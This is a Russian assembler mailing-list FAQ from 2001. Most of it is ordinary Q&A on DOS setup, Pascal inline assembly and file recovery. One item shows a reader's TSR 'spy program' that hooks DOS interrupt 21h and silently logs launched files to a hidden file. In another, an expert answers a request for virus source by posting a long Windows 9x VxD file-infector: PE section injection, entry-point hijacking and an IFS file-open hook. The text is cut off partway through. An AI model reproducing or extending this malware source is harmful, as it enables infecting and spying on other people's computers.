Ассемблер? Это просто! Учимся программировать (FAQ)

Вопросы, которые поступили от подписчиков рассылки
"Ассемблер? Это просто! Учимся программировать"

Дата выхода: 2001-08-28

Вопрос №666

Привет эксперты!
Кто-нить пользуется TheBat?
Если да то скажите почему при заполнении формы,
причем все поля нормально заполнены, не работает кнопка отправить.
В оутглюке все работает.
Помогите советом.

За сим прощаюсь, ZIPPER.

Ответ

Здравствуйте, Zipper!
Не страдай ты эти батом, В НИЗУ НАЙДИ ЗАКЛАДКУ 1
нажми на нее, выбери SHTML файл и кликни по нему 2 раза, на просьбу нажми второе, и провь все в браузере

Вопрос №648

Во-во эксперт Orlando вы наверно правы. Не подскажите как поставить и прописать эти драйвера, отвечающие за русскую раскладку
в ДОСЕ.

Ответ

Здравствуйте, Speedy Gonsalez!
Качаешь например гденибудь со старого софтового компакта файл ала RK.COM или еще какой русификатор, запускаешь его, и юзаешь на здоровье. Вообще с досом тебе стоит еще подучиться.

Если все в лом то прописываешь его в AUTOEXEC.BAT, он автоматом грузиться, и потом работает и в сесиях ДОС и в режиме эмуляции и ...

Вопрос №664

Дизассемблирую програмку TurboDebagerom.Сразу первые строки:
mov ax,03B7
mov dx,01FF
add ax,21FB
cmp ax,[0002]
jnb 0129
......
По адресу 0129 вывод сообщения: "Нет достаточно памяти"
в ячейке 0002 число 9FD6.
Вопрос: как же тут все-таки вычисляется доступная память, откуда берется это 9FD6?

Ответ

Здравствуйте, Валик!
А чё за прога то собственно. Пришли - подскажу. limansky@tut.by.

Вопрос №657

Не подскажите как сделать так, чтобы во время запуска MSDOS
в COMMAND Prompt или после перезагруки в режиме MSDOS, сразу же автоматически открывалась какая-либо Досовская оболочка (NC, VC, DN)?

Ответ

Здравствуйте, Speedy Gonsalez!
На счет команд промпта не знаю а при выходе в эмуляцию есть такая чача - dosstart.bat в мастайском каталоге лежит. Туда и пихай.
А вообще раз у тебя возникают такие вопросы, можешь создать меню в config.sys. См. приложение

Приложение:
Config.sys [menu] menuitem=dos,Load dos menuitem=win,Windows menudefault=win,5 - число секунд [dos] то что дос [win] то что виндовоз [common] общее в autoexec.bat .... общая часть (руссификаторы и всё такое) goto %config% :win win goto exit :dos то что надо :exit в msdos.sys добавь или измени BootGui=0

Вопрос №665

Уважаемые эксперты я бы хотел чтобы вы прокоментировали как можно подробние эту программу.
; === Начало программы: ===
.286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h

Begin:
jmp Init ; на метку инициализации

; === Обработчик 21h-ого прерывания ===
Int_21h_proc proc
cmp ax,9889h
jne Next_step

xchg ah,al
iret

Next_step:
pusha ;Сохраним регистры...
push ds
push es

mov bx,ds ;BX=DS

push cs ;Настроим сегментные регистры
push cs
pop es
pop ds

cmp ax,4B00h ;Это запуск файла на выполнение?
je Start_f

jmp short Go_21h ;Если что-то другое, то передадим управление 21h-ому...

Start_f:
mov si,offset Start_filemess ;Строка для записи в наш log-файл.
call Move_string ;Готовим строку и записываем ее в файл...
jmp short Go_21h ;Передадим управление 21h-ому прерыванию...

Go_21h:
pop es ;Восстановим регистры...
pop ds
popa

jmp dword ptr cs:[0FCh] ;Передаем управление 21h-ому
Int_21h_proc endp

;=== Переносим строку и пишем информацию в файл ===
Move_string proc
mov di,2 ;DS:SI указывают на строку
;ES:DI - на место в памяти, где будет формироваться строка...
lodsw ;Получим длину строки (первый байт строки)
mov cx,ax ;Длину строки в CX
rep movsb ;Переместили строку по адресу ES:DI (Текущий сегмент:0002h)

push ds
mov ds,bx ;DS указывает на сегмент, где находится имя файла
mov si,dx ;SI - на смещение

Next_char:
lodsb ;Получаем очередной символ
or al,al ;Это конец строки с именем файла? Проверка на 0...
jz Zero_found
stosb ;Если еще не конец - заносим его в нашу формирующуюся строку
jmp short Next_char ;Следующий символ...

Zero_found:
pop ds ;Имя файла перенесли! Восстановим DS.

mov ax,0A0Dh ;Добавим возврат каретки/перевод строки.
stosw

dec di
dec di
mov word ptr cs:[0],di ;Занесем по 0-ому смещению длину готовой строки

call Save_file ;Запишем готовую строку в наш log-файл...

ret
Move_string endp


;=== Пишем в файл ===
Save_file proc
call Check_file ;Проверим, существует ли наш log-файл или нет...

mov al,02h ;Открываем файл для чтения/записи
call Open_file

mov ax,4202h ;Устанавливаем указатель на конец файла
xor cx,cx
xor dx,dx
int 3

mov ah,40h ;Функция записи в файл
mov cx,cs:[0] ;Количество записываемых байт
mov dx,2 ;Откуда будем писАть (DS:DX)
int 3

call Close_file ;Закрываем файл...

ret
Save_file endp

;=== Проверяем: существует ли нужный файл ===
Check_file proc
xor al,al ;Пробуем открыть наш log-файл
call Open_file
jnc File_exists ;Если файл существует, то на метку File_exists

; === Атрибуты файла ===
;00001 - только чтение
;00010 - спрятанный
;00100 - системный
;01000 - метка тома
;010000 - подкаталог
;100000 - архивный
mov ah,3Ch ;Если файл не существует, то создадим его.
mov cx,00010b ;Атрибут: архивный, спрятанный
mov dx,offset File_name ;DS:DX указывают на имя файла
int 3
jc Error_create ;Ошибка?..
mov Handle,ax ;Если успешно создали, то запомним номер файла

File_exists:
call Close_file ;Закрываем файл...

Error_create:
ret

File_name db 'C:\gurnal.txt',0 ;Наш log-файл
Check_file endp

;=== Открытие файла ===
Open_file proc
mov dx,offset File_name
mov ah,3Dh
int 3
jc Error_open

mov bx,ax
mov Handle,ax

Error_open:
ret
Handle dw 0FFFFh
Open_file endp

;=== Закрытие файла ===
Close_file proc
pusha
pushf
cmp Handle,0FFFFh ;Нечего закрывать?..
je No_close

mov ah,3Eh
mov bx,Handle
int 3
mov Handle,0FFFFh ;Закрываем и отмечаем, что нет открытых файлов...

No_close:
popa
popf
ret
Close_file endp

;--- Сообщения резидента ---
Start_filemess dw Start_filemessl
db 'Запуск файла ---> '
Start_filemessl equ $-Start_filemess-2

; === Инициализация (подготовка и настройка резидента) ===
Init:
mov ax,9889h ;проверим, в памяти ли мы уже или еще нет
int 21h
cmp ax,8998h
jne Set_resident

mov ah,9 ;если в памяти, то выведем соответствующее сообщение
mov dx,offset In_memory
int 21h

ret ;...и вернемся в DOS

Set_resident: ;если нас в памяти нет, то установим наш резидент
; 21h-ое...
mov ax,3521h
int 21h ;получим и сохраним адрес (вектор) 21h прерывания
mov word ptr cs:[0FCh],bx
mov word ptr cs:[0FEh],es

mov ax,es ;Установим старый вектор 21h-прерывания на 3...
push 0 ;(вырубим отладчик)
pop es
mov es:[3*4],bx
mov es:[3*4+2],ax

mov ax,2521h
mov dx,offset Int_21h_proc
int 3 ;"повесим" нашу процедуру на 21h прерывание

call Check_file ;А есть ли наш log-файл?

mov ah,9
mov dx,offset Mess_hello
int 21h

mov dx,offset Init
int 27h ;оставим программу резидентной в памяти.

In_memory db 'Программа-шпион уже есть в памяти$'

Mess_hello db 'Программа-шпион загружена в память$'

cseg ends
end Begin

И если не сложно сделауте так чтоб в текстовый файл "журнал" записовалась еще и время/дата запускаемого файла.

Ответ

NO COMMENTS...

Вопрос №667

Пишу на паскале, но в особо узких местах пытаюсь переоптимизировать код встроенным асмом. Все отлично,
только вот незадача:
пытаюсь заменить код Tmp:=Sum div bb {Tmp,bb - byte; Sum:Word) на такое
Asm
mov bl,bb
mov ax,Sum
div bl
mov Tmp,al
end;
В результате прога просто отваливается
Если есть идеи - с радостью рассмотрю и попробую
P.S. Прога компилится для защищенного ДОС-режима.
Спасибо

Ответ

Евгений! Дело может быть вот в чем:
Убедитесь в наличии следующих строк (в начале проги на паскале):
Sum: longint
Tmp: int
в самом куске на асме я ошибок не вижу, а если sum объявлен как int, тода понятное дело, слово в байт никак не влезет!
если не поможет, поробуйте сохранять регистры.

Вопрос №668

Долго выбирал подгруппу - решил сюда
М.б. кто знает - как можно прочитать серийный номер процессора?
Спасибо.
P.S. Если, кто из читателей рассылки смогет, что подсказать - плиз pilot@yrg.kuzbass.net

Ответ

Евгений! ж) на самом деле. если процессор - какой-нить Celeron или меньше, (я имею ввиду ниже PII), то НИКАК! (только открутить вентилятор и посмотреть че там в малайзии на него напаяли), если это PII (не Celeron повторяю!!!) и выше, то при загрузке, после определения тактовой частоты должна быть строка типа S/N (по крайней мере на фирменных 100% такая строка выводиться) Intel специально ввела эту фичу именно начиная с PII, чтобы ее типа не подделывали. (интересно, как можно подделать процессор???), и еще на наклейке на вентиляторе на таких процах тоже ОБЯЗАТЕЛЬНО (на голограммке) дублируется это самый S/N

Вопрос №670

Подскажите пожалуйста, что делать. Не можем установить драйвер для видеокарты на материнке Intel 7120. (родные утеряны). Заходили туда на сайт там есть только 8110, которые не подходят. Раскрыли комп, а в середине видео отдельной платой не идет, вроде бы встроенная. Короче мы немного растерялись.

Ответ

Здравствуйте, Dron! Напишите Intel в службу тех.поддержки, займите там ребят, пусть поищут и вышлют, там за бугром такие вещи просто обажают!!! (проверено, дрова на старую звуковуху были через 10 минут высланы). В инете если хорошо поискать, то конечно тоже можна найти (наверно, затем и задавали то вопросик... :) ), но мне честно в облом. Если уж ничего не помогает, ничего не найдено и никто не высылает дров, тода самый крайний шаг - пойти в любой комп. магазин, где эти самые материнки еще могут теоретичиски продаваться, там за N-ную сумму перекатать их никаких проблем нету. Да и не мне вам рассказывать...

Вопрос №646

НЕ ДЛЯ ВВОДА В РАССЫЛКУ
Для эксперта BROKEN SWORD – по просьбе
(в продолжение № 634)
УВАЖАЕМЫЙ BROKEN SWORD
Я еще и не выходил из того кошмара, в который так опрометчиво влетел. Масштабы потерь превышают все разумные пределы. Судите сами – почти 300 мегов. Конечно, это не одна папка. И в каждой из них куча других. А в них…. Да что говорить?! Дерево, оно и в Африке дерево.
Какие-то копии есть. Но они мало что весят. А то, что должно было переписаться - по стечению обстоятельств, не переписалось. Вот так сложилось.
Конечно, не в Temp’е WINDOWS они хранились, и удалялись они не из окна винта, а из панели инструментов. Не сразу сообразил, что происходит. Только когда диск заурчал, понял, что идет удаление не ярлыков, а непосредственно содержимого. Вот тут-то меня и стукнуло.
Хочется заинкнуться вот о чем. Еще на заре обучения у меня был вопрос, почему корзина не рассчитана на хранение значительно большего объема информации? Мало ли что попадет в нее по недомыслию, неосторожности, скоропалительности. Короче, накаркал в свое время.
В общем, не понял, не заметил, когда подмахнул подтверждение на безвозвратное удаление. Да и было ли оно?
Что до вирусов, то пока их не было, и нет.
Не знаю, как, но ВЫТАСКИВАТЬ, что бы то ни было НАДО. Ну, осталось же еще на диске хоть что-то живое!
Прислали мне rar Tiramisu. Но так от пережитого трещит башка, что мало что соображаю. Извлек файлы. Дальше нужно эту программку инсталлировать, а потом и запускать. Но боюсь сделать что-то не так. Пока боюсь.
Вот такие дела. С уважением, Николай.

Ответ

Здравствуйте, Николай!

Вот маленькая программа (написаная на Паскале), которая позволит сохранить всю информацию (которая была стёрта, тоесть находиться на диске в незанятых другими файлами месте) с определенного диска в один файл.
Тоесть, если файлы были фотмата типа txt, pas, asm, c ... (тоесть текстого формата), то их будет достаточно легко выдрать. Если файлы в каком нибудь не текстовом формате типа doc, xls, dbf, ... то их будет тяжело востановить соответствующим способом.
После применения проги обратного пути на будет.

P.S. Кстати чем меньше работаеш с диском с которого удалена информация, тем больше вероятность их потом востановить.
Удачи!

Приложение:
uses windos; var s:longint; f:file of byte; b:byte; cd:pchar; begin assign(f,'d:\baloon'); // d:\baloon - диск и имя файла в который все записать rewrite(f); s:=diskfree(4); // диск с которого сохранить информацию должен совпадать с диском записаным ранее (диски: 1 - A, 2 - B, 3 - C, 4 - D, ...) writeln(s); seek(f,s-2); write(f,b); close(f); s:=diskfree(4); writeln(s); end.

Вопрос №667

Пишу на паскале, но в особо узких местах пытаюсь переоптимизировать код встроенным асмом. Все отлично,
только вот незадача:
пытаюсь заменить код Tmp:=Sum div bb {Tmp,bb - byte; Sum:Word) на такое
Asm
mov bl,bb
mov ax,Sum
div bl
mov Tmp,al
end;
В результате прога просто отваливается
Если есть идеи - с радостью рассмотрю и попробую
P.S. Прога компилится для защищенного ДОС-режима.
Спасибо

Ответ

Здравствуйте, Евгений!

Попробуй заменить регистр bl на cl.
Если куски идут на Паскале и куски на Асме, то регистр регистр ebx может использоваться компилятором изменения которого влечет последствия типа crush. Регистры eax, ecx, edx (соответсвенно и ax, cx, ...) используй наздоровье и только эти, остальные надо сохранять в стэк.

Вопрос №672

Специально для Broken Sword по поводу 667 вопроса - там четко написано - {Tmp,bb - byte; Sum:Word}
И по поводу ответа (честно - просто бред какой-то):
"Sum: longint
Tmp: int"
т.е. предлагается sum делать 32битным, а tmp - 16-и?
зачем? (если не секрет)
P.S. Если Олег читает, то предлагаю ему при рассылки ответов от экспертов непосредственно задавшим вопрос добавлять мыло эксперта. Надеюсь, что понятно почему из самого факта существования этого сообщения.

Ответ

на самом деле ошибка: sum: int, bb:byte, а В КУСКЕ АСМА ОШИБОК НЕТ!!! (у тебя уже...)

Вопрос №672

Специально для Broken Sword по поводу 667 вопроса - там четко написано - {Tmp,bb - byte; Sum:Word}
И по поводу ответа (честно - просто бред какой-то):
"Sum: longint
Tmp: int"
т.е. предлагается sum делать 32битным, а tmp - 16-и?
зачем? (если не секрет)
P.S. Если Олег читает, то предлагаю ему при рассылки ответов от экспертов непосредственно задавшим вопрос добавлять мыло эксперта. Надеюсь, что понятно почему из самого факта существования этого сообщения.

Ответ

и ничего ужасного в этом нет... ;(

Вопрос №639

Ув. эксперт ЕвГЕНИЙ! Если Вас не завуднит,
вышлите плз исходники виря под винду и ещЈ если
можно несколько исходников ОЧЕНЬ простых програм.
заранее благлдарен. aili.
з.Ы.: у кого есть поделитесь линками по асму для
win32. эт на разогрев - http://www.reversing.net/
з.з.Ы.: не видел ли кто, книги Зубкова по асму
в ЭЛЕКТРОННОМ ВАРИАНТЕ.

Ответ

Здравствуйте, aili!
Лови зверя!

Приложение:
.386p .model flat jumps locals EXTRN ExitProcess:proc NO_SEGMENTS = 1 ;Not_VxD = 0 VMM equ 00000001H Sign EQU 'guBW' ;infected signature for safe method INCLUDE VMMF.INC INCLUDE VMMC.INC INCLUDE ifs.inc INCLUDE ifsmgrv.inc ; ifsmgr.inc , modified by virus author INCLUDE vwin32v.inc ; vwin32.inc , modified by virus author INCLUDE VMMREG.INC ;--------------------MICROSOFT DBT_NO_DISK_SPACE EQU 0047H DBT_LOW_DISK_SPACE EQU 0048H DBT_PRESHELLLOGGEDON EQU 0049H DBT_CONFIGMGPRIVATE EQU 7FFFH DBT_IDIOTS_CHECK EQU 7F7FH DBT_DEVICEARRIVAL EQU 8000H DBT_DEVICEQUERYREMOVE EQU 8001H DBT_DEVICEQUERYREMOVEFAILED EQU 8002H DBT_DEVICEREMOVEPENDING EQU 8003H DBT_DEVICEREMOVECOMPLETE EQU 8004H DBT_DEVICETYPESPECIFIC EQU 8005H ;---------------------------- intnum equ 5h L equ <LARGE> ProgsMustBeInfected equ 15;100 programs must be successfully infected before ; virus can make glucks! ; win98dir got 80 PE-EXEs ,for example EXE equ 'EXE.' ;CHANGE TO 'EXE.'!!!! VirSize equ VirusEnd-start VirusSize equ VirSize+100 TOldHeader STRUC OldEXE db 3Ch dup(?); [0-3Bh] ,reserved part included . (Check first 2 bytes for 'MZ') PEOffset dd ? ENDS OLDHEADERSIZE = SIZE TOldHeader TDIRECTORY STRUC TableRVA dd ? ; (calculated form value at pe-header 34hth field) SizeOfTable dd ? ENDS DIRECTORYSIZE = SIZE TDIRECTORY TPEHeader STRUC Signature dd ? ; 00004550h Processor dw ? NumOfObjects dw ? ; number of objects in object table LinkingTime dd ? ; not used by virus Reserved dd 2 dup(0) NTHeaderSize dw ? Flags dw ? ; must be 0002h (executable code ) NTSignature dw ? LinkerVersion dw 0 CodeSize dd 0 InitDataSize dd ? UnInitDataSize dd ? EntryPoint DD ? ;EIP value BaseOfCode DD ? BaseOfData DD ? BaseOfImage DD ? ;(34h value :)) SectionAlligment dd ? FileAlligment dd ? Reserved1 db 12 dup(?) ; a lot of shit wihich has no meaning for the virus Win32Ver dd 0 ; will be used as infected signature for safeinfect method ProgramDataSize dd ? ; Virtual size of program data. (code + data) HeaderSize dd ? ;Includes DOS-HEADER(20H)+PE-HEADER+OBJECT TABLE size CheckSum dd 0 ;must be Zero! NTSubSystem dw ? DLLFlags dw ? StackSize dd ? NeccessaryStackSize dd ? HeapSize dd ? NeccessaryHeapSize dd ? LoaderFlags dd ? NumberOfDirectories dd ? ENDS PEHEADERSIZE = SIZE TPEHeader TOBJECT STRUC Name db 8 dup(0) VirtualSize dd ? RVA dd ? ;(from 34th field ) PhysicalSize dd ? PhysicalOffset dd ? ObjReserved db 0Ch dup(0) ObjFlags dd 0 ENDS OBJECTSIZE= SIZE TOBJECT .data db 0 .code start: call calc calc: pop ebp sub ebp,offset calc jmp Codestart ;DATASEG EnCryptedData: VirusKey db 'Microsoft\Software\Windows\WinBug',0 KeyValue db 'ProgsInfected',0 FileName db 130 dup (0) End_EnCryptedData: VirusOffset dd ? OldHeader TOldHeader ? PEHeader TPEHeader ? MySection TOBJECT ? LastSection TOBJECT ? IDTADDR dq 0 OldAddr dd ? OldExceptPos dd ? Action dd ? flag db 0 ;IFSAPI HOOK REENTRENCE IDENTIFIER handle dd ? ;File handle Old_EntryPoint dd 0 Old_ImageBase dd 0 VSEB vseb_s ? EnableGlucks db 0 HkeyHandle dd 0 ProgsInfected dd 0 binary dd 4 ;END_DATASEG FixUpCode: mov cx,20CDh ;int 20h instr in reverse format ;Fixing fix 1 of 4 lea eax, word ptr [edi+Fix_1 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix1Value ;fixing 2 of 4 lea eax, word ptr [edi+Fix_2 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix2Value ;fixing fix 3 of 4 lea eax, word ptr [edi+Fix_3 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix3Value ; fixing fix 4 of 4 lea eax, WORD ptr [edi+Fix_4 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix4Value ; you can add other fixups here ..... lea eax, WORD ptr [edi+Fix_5 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix5Value lea eax, WORD ptr [edi+Fix_6 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix6Value lea eax, WORD ptr [edi+Fix_7 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix7Value lea eax, WORD ptr [edi+Fix_8 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix8Value ;fixups... lea eax, WORD ptr [edi+Fix_9 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix9Value lea eax, WORD ptr [edi+Fix_10 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix10Value lea eax, WORD ptr [edi+Fix_11 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix11Value lea eax, WORD ptr [edi+Fix_12 - start] mov word ptr [eax],cx mov dword ptr [eax+2],Fix12Value ret End_FixUpCode: ;SUBROUTINES ----- FileIO: Fix1Value EQU Ring0_File_IO+256*256*IFSMgr Fix_1: VxdCall IFSMgr,Ring0_File_IO ret End_FileIO: ;REGISTRY MANIPULATION BEGIN... ; SUBROUTINES ----- beep: pushad mov ax, 1000 mov bx, 200 mov cx, ax mov al, 0b6h out 43h, al mov dx, 0012h mov ax, 34dch div cx out 42h, al mov al, ah out 42h, al in al, 61h mov ah, al or al, 03h out 61h, al l1: mov ecx, 4680 l2: loop l2 dec bx jnz l1 mov al, ah out 61h, al popad ret End_beep: SafeInfect: ;try to infect file without incerasing it's size ... cmp [edi+PEHeader.Win32Ver-start],Sign je CloseFileEr ; already Infected! mov cx,[edi+PEHeader.NumOfObjects-start] mov esi,[edi+VirusOffset-start] ; offset of first object in OTable @@loop1: push esi push ecx mov edx,esi ; points TO the last object mov ecx,40 ;count of bytes (size of sec. head) mov eax,R0_READFILE mov ebx,[edi+handle - start] lea esi,[edi+MySection -start] Call FileIO pop ecx pop esi jc CloseFileEr mov eax, dword ptr [edi+ MySection.Name -start] mov ebx,'ler.' cmp eax,ebx jne @@SecNotFound mov eax,dword ptr [edi+ MySection.Name+4 - start] mov ebx,'co' cmp eax,ebx jne @@SecNotFound jmp @@sec_found ; this will be executed only if 2 cmps gave us equids.-secfound! @@SecNotFound: add esi,40 ;read next object dec cx or cx,cx jnz @@loop1 @@end_loop1: jmp ContinueInfect ; free section not found, infect with usual method @@sec_found: ;if we got here, we got unused section in Mysection record! cmp [edi+MySection.PhysicalSize-start],VirSize jb ContinueInfect ; section size too small! ;if we here , we can infect the file! mov eax,[edi+PEHeader.EntryPoint - start] ;saving some info from header... mov [edi+ Old_EntryPoint - start],eax mov eax,[edi+PEHeader.BaseOfImage - start] mov [edi+ Old_ImageBase - start],eax ;;;;; setting flags .... xor eax,eax or eax,00000040h ;initialized data here or eax,04000000h ;object cannot be cached or eax,08000000h ;object cannot be spliced into pages or eax,20000000h ;object executeable or eax,40000000h ;object readable or eax,80000000h ;object writeable mov [dword ptr edi+MySection.ObjFlags-start],eax ;PhysicalOffset installed ;;;;; setting flags..... mov edx,esi ; points TO the last object ;esi has address of our section! mov ecx,40 ;count of bytes (size of sec. head) mov eax,R0_WRITEFILE mov ebx,[edi+handle - start] lea esi,[edi+MySection -start] Call FileIO jc CloseFileEr ;first,we will write the virus at the physoffset ... ;So, time to modify code :) ; now, we will fix up vxdcalls ..... call FixUpCode ;done! ; now we will write our code mov eax,R0_WRITEFILE mov ecx,VirSize ; write VirSize bytes mov ebx,[edi+handle - start] mov edx,[edi+MySection.PhysicalOffset - start] ;write from this offset mov esi,edi ;edi = adress of virstart :) Call FileIO jc CloseFileEr ;virus saved! ;Now we will modify PEHeader ... ;There is no need to modify section header , if it's size is bigger that ;virus - let be so :) We will modify only it's flags ... ; let's modify the Portable Executable Header :) ;RVA=VA of our section mov eax,[edi+MySection.RVA-start] ;entry point--> EAX mov [edi+PEHeader.EntryPoint-start],eax ;entry point modified.... mov eax,Sign mov [edi+PEHeader.Win32Ver-start],eax ;Infected Mark installed.... mov eax,R0_WRITEFILE mov ecx,PEHEADERSIZE ; write PEheaderSize bytes mov ebx,[edi+handle - start] mov edx,[edi+OldHeader.PEOffset - start] ;write from this offset lea esi,[edi+PEHeader -start] Call FileIO jc CloseFileEr ; PEHeader saved. ;File Infected! jmp CloseFile End_SafeInfect: InfectFile: ;ENTRY : FileName - name of file to infect ;EXIT: AX = 00 on success (File has been infected) ; AX = 0FFFFh if file wasn't infected. This error occurs even if file ; was infected before. if so, it won't be reinfected. lea esi,[edi+ FileName - start] mov eax,R0_FILEATTRIBUTES+GET_ATTRIBUTES xor ecx,ecx ;reset attribs call FileIO jc OnError test ECX,10h jnz OnError ; Directory Entry test ECX,08h jnz OnError ; VolumeID mov eax,R0_FILEATTRIBUTES+SET_ATTRIBUTES mov ecx,20h ; archive file call FileIO jc OnError xor ebx,ebx xor edx,edx mov eax,R0_OPENCREATFILE mov bx,10b ;r/w access xor ecx,ecx mov cx,20h ;archive file if create :) mov dx,1 ; fail if not exists Call FileIO jc OnError mov [edi+handle - start],eax ;save file handle mov eax,R0_READFILE mov ecx,OLDHEADERSIZE ; read OLDheaderSize bytes mov ebx,[edi+handle - start] xor edx,edx ; read from the beginning lea esi,[edi+OldHeader -start] call FileIO jc CloseFileEr ; Now, Let's try to load PEHEader :) mov eax,R0_READFILE mov ecx,PEHEADERSIZE ; read PEheaderSize bytes mov ebx,[edi+handle - start] mov edx,[edi+OldHeader.PEOffset - start] ;read from this offset lea esi,[edi+PEHeader -start] Call FileIO jc CloseFileEr cmp dword ptr [edi+PEHeader.Signature- start],00004550h ;'PE',0,0 jne CloseFileEr ;Not PE-EXECUTABLE FILE . mov eax,[edi+ OldHeader.PEOffset - start] mov [edi+VirusOffset-start],eax ;Getting PEoffset mov eax,PEHEADERSIZE add [edi+VirusOffset-start],eax ;got to Import,export tables .... mov ecx,8h ; size of directory mov eax,[edi+PEHeader.NumberOfDirectories-start] mul ecx ; eax=NumOfdirs*8 add [edi+VirusOffset-start],eax ;got to ObjectTables .... jmp SafeInfect ;attempt to infect file without incerasing it's size :) ContinueInfect: ; if we are here, safe infect has failed. :( Attempt to infect with standart method xor eax,eax mov ax,[edi+ PEHeader.NumOfObjects -start] dec ax mov ecx,40 ; size of 1 object mul ecx ;eax=(NumOfObj-1)*40 add [edi+VirusOffset-start],eax ;got to last object ;Now,VirusOffset points to the end of object table-object size ;Time to create our object . ;Reading last object header ..... mov edx,[edi+VirusOffset-start] ; points TO the last object mov ecx,40 ;count of bytes (size of sec. head) mov eax,R0_READFILE mov ebx,[edi+handle - start] lea esi,[edi+LastSection -start] Call FileIO jc CloseFileEr ;saving some info ... mov eax,[edi+PEHeader.EntryPoint - start] mov [edi+ Old_EntryPoint - start],eax mov eax,[edi+PEHeader.BaseOfImage - start] mov [edi+ Old_ImageBase - start],eax ; ;so, we got the last section. Let's create our section :) ; Let's give our section name . Let it be '.Genius',0 mov ah,'.' mov [edi+MySection.Name-start+0],ah mov ah,'G' mov [edi+MySection.Name-start+1],ah mov ah,'e' mov [edi+MySection.Name-start+2],ah mov ah,'n' mov [edi+MySection.Name-start+3],ah mov ah,'i' mov [edi+MySection.Name-start+4],ah mov ah,'u' mov [edi+MySection.Name-start+5],ah mov ah,'s' mov [edi+MySection.Name-start+6],ah xor ah,ah mov [edi+MySection.Name-start+7],ah ;-------------------- ; so,now it has it's name... hm ... perfect. ;what we do next ? so, I think let's calcuate our section RVA ;so its RVA= ( (Prev Rva + Prev Virtsize) mov eax,[edi+LastSection.RVA - start] add eax,[edi+LastSection.VirtualSize - start] mov ecx,dword ptr [edi+PEHeader.SectionAlligment-start] push eax xor edx,edx div ecx ;EDX has the remainder .... ;to calculate,how much we must add , we must subsract secal on remainder sub ecx,edx pop eax add eax,ecx mov [edi+MySection.RVA-start],eax ;RVA installed ; Now we should set VirtualSize ;VirtSize= ( (VirusSize + n bytes ) mov eax,VirusSize mov ebx,[edi+PEHeader.SectionAlligment- start] push eax xor edx,edx div ebx ;edx has the remainder sub ebx,edx pop eax add eax,ebx mov [edi+MySection.VirtualSize-start],eax ;VirtualSize installed ;now , phisical size ;Physyical size = (VirusSize) mov eax,VirSize mov [edi+MySection.PhysicalSize-start],eax ;PhysicalSize installed ;so phys offset time ..... :) ;Physical Offset =( (Prev Phisoffset + Prev PhisSize ) mov eax,[edi+LastSection.PhysicalOffset - start] add eax ,[edi+LastSection.PhysicalSize - start] mov [edi+MySection.PhysicalOffset-start],eax ;PhysicalOffset installed ;no err! ;so, we must install flags now . xor eax,eax or eax,00000040h ;initialized data here or eax,04000000h ;object cannot be cached or eax,08000000h ;object cannot be spliced into pages or eax,20000000h ;object executeable or eax,40000000h ;object readable or eax,80000000h ;object writeable mov [dword ptr edi+MySection.ObjFlags-start],eax ;PhysicalOffset installed mov eax,[edi+MySection.RVA-start] mov [edi+PEHeader.EntryPoint-start],eax inc dword ptr [edi+PEHeader.NumOfObjects - start] add dword ptr [edi+VirusOffset-start],40 ;now,it points to our section,which will be added now ; Before writing our section to the file, let's check if it is infected already ; Size of signature - 8 bytes. we can read and compare using just 2 operators.. mov eax, dword ptr [edi+ MySection.Name -start ] mov ebx,dword ptr [ edi+ LastSection.Name - start] cmp eax,ebx jne @@InfectIt mov eax,dword ptr [edi+ MySection.Name+4 - start] mov ebx,dword ptr [edi+ LastSection.Name+4 -start] cmp eax,ebx jne @@InfectIt jmp CloseFileEr ; this will be executed only if infected sign found @@InfectIt: mov edx,[edi+VirusOffset-start] mov eax,R0_WRITEFILE mov ecx,40 ; write sectionsize bytes mov ebx,[edi+handle - start] mov edx,[edi+VirusOffset-start] lea esi,[edi+MySection -start] call FileIO jc CloseFileEr ;section header added ! mov eax,[edi+MySection.VirtualSize-start] add dword ptr [edi+PEHeader.ProgramDataSize-start],eax ; let's write PE Header :) mov eax,R0_WRITEFILE mov ecx,PEHEADERSIZE ; write PEheaderSize bytes mov ebx,[edi+handle - start] mov edx,[edi+OldHeader.PEOffset - start] ;write from this offset lea esi,[edi+PEHeader -start] Call FileIO jc CloseFileEr ;New Header saved :) ;So, time to modify code :) ; now, we will fix up vxdcalls ..... call FixUpCode ;done! ; now we will write our code mov eax,R0_WRITEFILE mov ecx,[edi+MySection.PhysicalSize-start] ; write VirSize bytes mov ebx,[edi+handle - start] mov edx,[edi+MySection.PhysicalOffset - start] ;write from this offset mov esi,edi ;edi = adress of virstart :) Call FileIO jc CloseFileEr ; Done, now we simply close the infected file ! CloseFile: mov eax,R0_CLOSEFILE mov ebx,[edi+handle-start] call FileIO jc OnError xor ax,ax ret OnError: mov ax,0FFFFh ret CloseFileEr: mov eax,R0_CLOSEFILE mov ebx,[edi+handle-start] call FileIO mov ax,0FFFFh ret end_Infect_file: Temp: call beep ;signal .... mov [edi+VSEB.vseb_b1 -start],1 mov [edi+VSEB.vseb_b2-start],2 mov [edi+VSEB.vseb_b3 - start],3 ;lea eax,[edi+User32 - start] mov [edi+VSEB.vseb_pszCaption - start],eax mov [edi+VSEB.vseb_pszText - start],eax lea ebx,[edi+VSEB-start] VxdCall VWIN32, Sys_ErrorBox ret IFSAPIHook: db 0BFh delta1 dd 0 ; <--- mov edi,[delta1] push ebp mov ebp,esp add ebp,4 ; allign ebp value :) pushad cmp byte ptr [edi+flag-start],0FFh je Fin mov byte ptr [edi+flag-start],0FFh ; Call original APIHooker on reenter! ;--------------INITIALIZATION---PASSED------------------------------------- ;call beep cmp dword ptr [ebp+8H], IFSFN_RENAME je Proceed cmp dword ptr [ebp+08H], IFSFN_OPEN je Proceed jmp Reset Proceed: mov eax,dword ptr [ebp+18h] mov eax,[eax+0Ch] ; Get filename in UNICODE add eax,4 ;got it! lea esi,[edi+FileName-start] ;load address of FileName var in esi :) mov ebx,[ebp+0Ch] ;drive cmp bl,0FFh je PathSet add bl,40h ; allign to 